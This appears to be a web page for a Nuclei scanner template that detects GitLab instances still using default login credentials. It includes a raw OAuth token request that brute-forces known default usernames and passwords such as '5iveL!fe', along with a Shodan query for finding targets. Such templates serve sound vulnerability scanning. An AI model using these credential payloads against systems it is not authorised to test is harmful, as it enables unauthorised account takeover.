Gitlab Default Login

ID: gitlab-weak-login

Severity: high

Author: Suman_Kar,dwisiswant0

Tags: gitlab,default-login

Description

Gitlab default login credentials were discovered.

YAML Source

id: gitlab-weak-login

info:
  name: Gitlab Default Login
  author: Suman_Kar,dwisiswant0
  severity: high
  description: Gitlab default login credentials were discovered.
  reference:
    - https://twitter.com/0xmahmoudJo0/status/1467394090685943809
    - https://git-scm.com/book/en/v2/Git-on-the-Server-GitLab
  classification:
    cwe-id: CWE-798
    cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:*:*:*:*
  metadata:
    max-request: 6
    shodan-query: http.title:"GitLab"
    product: gitlab
    vendor: gitlab
  tags: gitlab,default-login

http:
  - raw:
      - |
        POST /oauth/token HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        Referer: {{BaseURL}}
        content-type: application/json

        {"grant_type":"password","username":"{{username}}","password":"{{password}}"}

    attack: clusterbomb
    payloads:
      username:
        - "root"
        - "admin"
        - "[email protected]"
      password:
        - "5iveL!fe"
        - "123456789"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - application/json

      - type: word
        part: body
        words:
          - '"access_token":'
          - '"token_type":'
          - '"refresh_token":'
        condition: and
# digest: 490a004630440220184af301bd34396ee9dab6048ad1f2770d0a16dc4620b3d96ca2480c49cc3d1b02200ad3a1bf8f9b181ea7f99aedee68d343e00b0305c6b54a3d3d6c0a7d41bb38af:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/default-logins/gitlab/gitlab-weak-login.yaml"

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